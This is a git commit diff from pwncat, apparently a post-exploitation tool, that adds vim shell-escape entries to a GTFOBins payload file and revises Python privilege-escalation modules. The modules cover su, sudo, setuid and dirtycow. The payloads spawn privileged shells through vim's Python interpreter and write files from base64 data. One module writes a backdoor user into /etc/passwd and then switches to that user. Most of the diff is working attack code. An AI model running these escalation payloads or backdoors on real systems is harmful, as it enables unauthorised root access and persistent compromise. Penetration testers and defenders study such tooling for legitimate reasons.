1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-28 03:14:14 +01:00

Added vim as a GTFOBin. Testing resolved a clusterfuck

This commit is contained in:
John Hammond 2020-05-10 23:17:03 -04:00
parent 2a4ab160d3
commit 983f37e6d6
9 changed files with 74 additions and 79 deletions

View File

@ -7,7 +7,7 @@
"name": "cp", "name": "cp",
"write_file": { "write_file": {
"type": "base64", "type": "base64",
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF ${lfile}; {unlink} $TF" "payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF"
} }
}, },
{ {
@ -67,7 +67,7 @@
"read_file": "{path} '//' {lfile}", "read_file": "{path} '//' {lfile}",
"write_file": { "write_file": {
"type": "base64", "type": "base64",
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'" "payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
} }
}, },
{ {
@ -141,16 +141,28 @@
"command": "{path} -p -c {command}" "command": "{path} -p -c {command}"
}, },
{ {
"name": "vim", "name": "vim.basic",
"shell": { "shell": {
"script": "{command}",
"suid": ["-p"] "need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"]
}
}, },
"read_file": "{path} -p -c \"cat {lfile}\"", {
"name": "vim.basic",
"shell": {
"need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"]
}
},
{
"name": "vim.basic",
"shell": {
"need" : ["-e", "+:!{shell}", "+q!"]
},
"read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin",
"write_file": { "write_file": {
"type": "base64", "type": "base64",
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\"" "payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin"
}, },
"command": "{path} -p -c {command}" "command": "{path} -c ':!{command}'"
} }
] ]

View File

@ -65,10 +65,13 @@ class RemoteBinaryPipe(RawIOBase):
obj = b obj = b
# Receive the data # Receive the data
while True:
try: try:
n = self.pty.client.recv_into(b) n = self.pty.client.recv_into(b)
except BlockingIOError: break
return 0 except (BlockingIOError, socket.error):
pass
obj = bytes(b) obj = bytes(b)
# Check for EOF # Check for EOF

View File

@ -59,8 +59,13 @@ class Binary:
except KeyError as exc: except KeyError as exc:
# The keyerror has the name in quotes for some reason # The keyerror has the name in quotes for some reason
key = shlex.split(str(exc))[0] key = shlex.split(str(exc))[0]
quote = True
if key.startswith("unquote_"):
key = key.split("unquote_")[1]
quote = False
# Find the remote binary that matches # Find the remote binary that matches
value = self.which(key, quote=True) value = self.which(key, quote=quote)
# Whoops! No dependancy # Whoops! No dependancy
if value is None: if value is None:
raise MissingBinary(key) raise MissingBinary(key)

View File

@ -1,6 +1,8 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from typing import Type, List, Tuple from typing import Type, List, Tuple
import crypt import crypt
from time import sleep
import socket
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
from pwncat.privesc.setuid import SetuidMethod from pwncat.privesc.setuid import SetuidMethod
@ -14,8 +16,8 @@ from pwncat import util
# privesc_methods = [SetuidMethod, SuMethod] # privesc_methods = [SetuidMethod, SuMethod]
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod] # privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod] # privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
# privesc_methods = [ScreenMethod] privesc_methods = [SuMethod, SetuidMethod]
class Finder: class Finder:
@ -124,6 +126,8 @@ class Finder:
raise PrivescError("/etc/passwd update failed!") raise PrivescError("/etc/passwd update failed!")
self.pty.process(f"su {self.backdoor_user_name}", delim=False) self.pty.process(f"su {self.backdoor_user_name}", delim=False)
self.pty.flush_output()
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n") self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo") self.pty.run("echo")
@ -281,18 +285,27 @@ class Finder:
try: try:
# Attempt our basic, known technique # Attempt our basic, known technique
exit_script = technique.method.execute(technique) exit_script = technique.method.execute(technique)
self.pty.flush_output()
# Reset the terminal to ensure we are stable # Reset the terminal to ensure we are stable
self.pty.reset() self.pty.reset()
# Check that we actually succeeded # Check that we actually succeeded
if self.pty.whoami() == technique.user: current = self.pty.whoami()
if current == technique.user or (
technique.user == self.backdoor_user_name and current == "root"
):
return exit_script return exit_script
# Check if we ended up in a sub-shell without escalating # Check if we ended up in a sub-shell without escalating
if self.pty.getenv("SHLVL") != shlvl: if self.pty.getenv("SHLVL") != shlvl:
# Get out of this subshell. We don't need it # Get out of this subshell. We don't need it
self.pty.process(exit_script, delim=False) self.pty.process(exit_script, delim=False)
# Clean up whatever mess was left over
self.pty.flush_output()
self.pty.reset() self.pty.reset()
# The privesc didn't work, but didn't throw an exception. # The privesc didn't work, but didn't throw an exception.
@ -313,7 +326,6 @@ class Finder:
# Read the current content of /etc/passwd # Read the current content of /etc/passwd
reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ) reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
if reader is None: if reader is None:
print("\nNo reader found")
raise PrivescError("no file reader found") raise PrivescError("no file reader found")
payload = reader.read_file("/etc/passwd") payload = reader.read_file("/etc/passwd")
@ -352,7 +364,10 @@ class Finder:
self.backdoor_user = self.pty.users[user] self.backdoor_user = self.pty.users[user]
# Switch to the new user # Switch to the new user
self.pty.process(f"su {user}", delim=False) # self.pty.process(f"su {user}", delim=False)
self.pty.process(f"su {user}", delim=True)
self.pty.flush_output()
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n") self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo") self.pty.run("echo")

View File

@ -111,10 +111,7 @@ class SuMethod(Method):
# Send the su command, and check if it succeeds # Send the su command, and check if it succeeds
self.pty.run(f'su {technique.user} -c "echo good"', wait=False) self.pty.run(f'su {technique.user} -c "echo good"', wait=False)
self.pty.flush_output()
# Read the echo
if self.pty.has_echo:
self.pty.recvuntil("\n")
# Send the password # Send the password
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n") self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
@ -129,18 +126,10 @@ class SuMethod(Method):
raise PrivescError(f"{technique.user}: invalid password") raise PrivescError(f"{technique.user}: invalid password")
self.pty.run(f"su {technique.user}", wait=False) self.pty.run(f"su {technique.user}", wait=False)
self.pty.flush_output()
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n") self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
user = self.pty.whoami()
if (
technique.user == self.pty.privesc.backdoor_user_name and user != "root"
) or (
technique.user != self.pty.privesc.backdoor_user_name
and user != technique.user
):
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
return "exit" return "exit"
def get_name(self, tech: Technique): def get_name(self, tech: Technique):

View File

@ -92,4 +92,5 @@ class DirtycowMethod(Method):
# Become the new user! # Become the new user!
self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False) self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False)
self.pty.client.send(self.pty.privesc.backdoor_password.encode("utf-8") + b"\n") self.pty.client.send(self.pty.privesc.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo")
return "exit"

View File

@ -87,32 +87,13 @@ class SetuidMethod(Method):
binary = technique.ident binary = technique.ident
enter, input, exit = binary.shell(self.pty.shell, suid=True) enter, input, exit = binary.shell(self.pty.shell, suid=True)
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
# Run the start commands # Run the start commands
self.pty.run(enter + "\n", wait=False) self.pty.process(enter, delim=False)
# self.pty.process(enter, delim=False)
# Send required input # Send required input
self.pty.client.send(input.encode("utf-8")) self.pty.client.send(input.encode("utf-8"))
# Wait for result return exit # remember how to close out of this privesc
self.pty.run("echo")
# sleep(0.1)
user = self.pty.run("whoami").strip().decode("utf-8")
if user == technique.user:
return exit
else:
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level:
self.pty.run(exit, wait=False) # here be dragons
raise PrivescError(f"escalation failed for {technique}")
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe: def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
binary = technique.ident binary = technique.ident

View File

@ -216,9 +216,6 @@ class SudoMethod(Method):
binary, sudo_spec, password_required = technique.ident binary, sudo_spec, password_required = technique.ident
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
shell_payload, input, exit = binary.sudo_shell( shell_payload, input, exit = binary.sudo_shell(
technique.user, sudo_spec, self.pty.shell technique.user, sudo_spec, self.pty.shell
) )
@ -232,24 +229,8 @@ class SudoMethod(Method):
# Provide stdin if needed # Provide stdin if needed
self.pty.client.send(input.encode("utf-8")) self.pty.client.send(input.encode("utf-8"))
# Give it a bit to let the shell start. We considered a sleep here, but
# that was not consistent. This will utilizes the logic in `run` for
# waiting for the output of the command (`echo`), which waits the
# appropriate amount of time.
self.pty.run("echo")
user = self.pty.whoami()
if user == technique.user:
return exit return exit
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
if after_shell_level > before_shell_level:
self.pty.run(exit, wait=False) # here be dragons
raise PrivescError("failed to privesc")
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe: def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
binary, sudo_spec, password_required = technique.ident binary, sudo_spec, password_required = technique.ident

View File

@ -520,7 +520,7 @@ class PtyHandler:
# Cache the value # Cache the value
self.known_binaries[name] = path self.known_binaries[name] = path
if quote: if quote and path is not None:
path = shlex.quote(path) path = shlex.quote(path)
return path return path
@ -976,10 +976,6 @@ class PtyHandler:
""" """
response = self.process(cmd, delim=wait) response = self.process(cmd, delim=wait)
if callable(input):
input()
else:
self.client.send(input)
if wait: if wait:
@ -993,6 +989,11 @@ class PtyHandler:
else: else:
self.recvuntil(b"\n") self.recvuntil(b"\n")
if callable(input):
input()
else:
self.client.send(input)
return response return response
def process(self, cmd, delim=True) -> bytes: def process(self, cmd, delim=True) -> bytes:
@ -1109,6 +1110,13 @@ class PtyHandler:
self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'") self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'")
self.run(f"tput rmam") self.run(f"tput rmam")
def flush_output(self):
while True:
try:
self.client.recv(4096)
except socket.error:
break
def reset(self): def reset(self):
self.run("reset", wait=False) self.run("reset", wait=False)
self.has_cr = True self.has_cr = True